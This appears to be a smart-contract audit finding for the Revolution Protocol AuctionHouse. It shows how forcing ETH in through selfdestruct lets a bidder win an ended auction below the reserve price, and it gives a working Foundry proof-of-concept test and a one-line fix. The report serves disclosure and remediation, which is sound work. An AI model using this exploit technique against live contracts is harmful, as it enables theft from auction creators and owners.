Bidder can use donations to get VerbsToken from auction that already ended.
mediumLines of code
https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L348 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L365-L368
Vulnerability details
Impact
- Token will be auctioned off without following the intended rules resulting in an unfair auction.
- Loss of funds for Creators and AuctionHouse owner.
Proof of Concept
For this attack to be possible it's necessary that the following happens in the shown order:
- Attacker created a bid.
AuctionHouse::reservePriceis increased to a value superior to the already placed bid.- No new bid is created after
AuctionHouse::reservePriceis called and the auction ends. - Attacker donates through
selfdestructtoAuctionHousethe minimum necessary to haveaddress(AuctionHouse).balancebe greater or equal toAuctionHouse::reservePrice. - Auction is settled.
- Attacker will get the token and creators and AuctionHouse owner will be paid less than expected since their pay will be computed based on
_auction.amountwhich is lower than the setreservePrice.
To execute the following code copy paste it into AuctionSettling.t.sol
solidityfunction testCircumventsMostCreateBidRestrictionsThroughDonationAndReducesTokenPayments() public { createDefaultArtPiece(); auction.unpause(); uint256 balanceBefore = address(dao).balance; uint256 bidAmount = auction.reservePrice(); uint256 reservePriceIncrease = 0.1 ether; address bidder = address(11); vm.deal(bidder, bidAmount + reservePriceIncrease); vm.startPrank(bidder); auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0 vm.stopPrank(); vm.startPrank(auction.owner()); // After setting new ReservePrice current bid won't be enough to win the auction auction.setReservePrice(auction.reservePrice() + reservePriceIncrease); assertGt(auction.reservePrice(), bidAmount); vm.stopPrank(); vm.warp(block.timestamp + auction.duration()); // Fast forward time to end the auction vm.startPrank(bidder); ContractDonatesEthThroughSelfdestruct donor = new ContractDonatesEthThroughSelfdestruct{value: reservePriceIncrease}(); donor.donate(payable(address(auction))); auction.settleCurrentAndCreateNewAuction(); //Through donation bidder was able to get the token even though the auction had already ended. assertEq(erc721Token.ownerOf(0), bidder); //Since payments are calculated using _auction.amount all the involved parties will get //less than they would if reservePrice had been respected. //Code below shows payments were calculated based on bidAmount which is less than the reservePrice. uint256 balanceAfter = address(dao).balance; uint256 creatorRate = auction.creatorRateBps(); uint256 entropyRate = auction.entropyRateBps(); //calculate fee uint256 amountToOwner = (bidAmount * (10_000 - (creatorRate * entropyRate) / 10_000)) / 10_000; //amount spent on governance uint256 etherToSpendOnGovernanceTotal = (bidAmount * creatorRate) / 10_000 - (bidAmount * (entropyRate * creatorRate)) / 10_000 / 10_000; uint256 feeAmount = erc20TokenEmitter.computeTotalReward(etherToSpendOnGovernanceTotal); assertEq( balanceAfter - balanceBefore, amountToOwner - feeAmount ); } contract ContractDonatesEthThroughSelfdestruct { constructor() payable {} function donate(address payable target) public { selfdestruct(target); } }
Tools Used
Manual Review.
Recommended Mitigation Steps
Execute the following diff at AuctionHouse::_settleAuction :
diff- if (address(this).balance < reservePrice) { + if (_auction.amount < reservePrice) {
Assessed type
Other
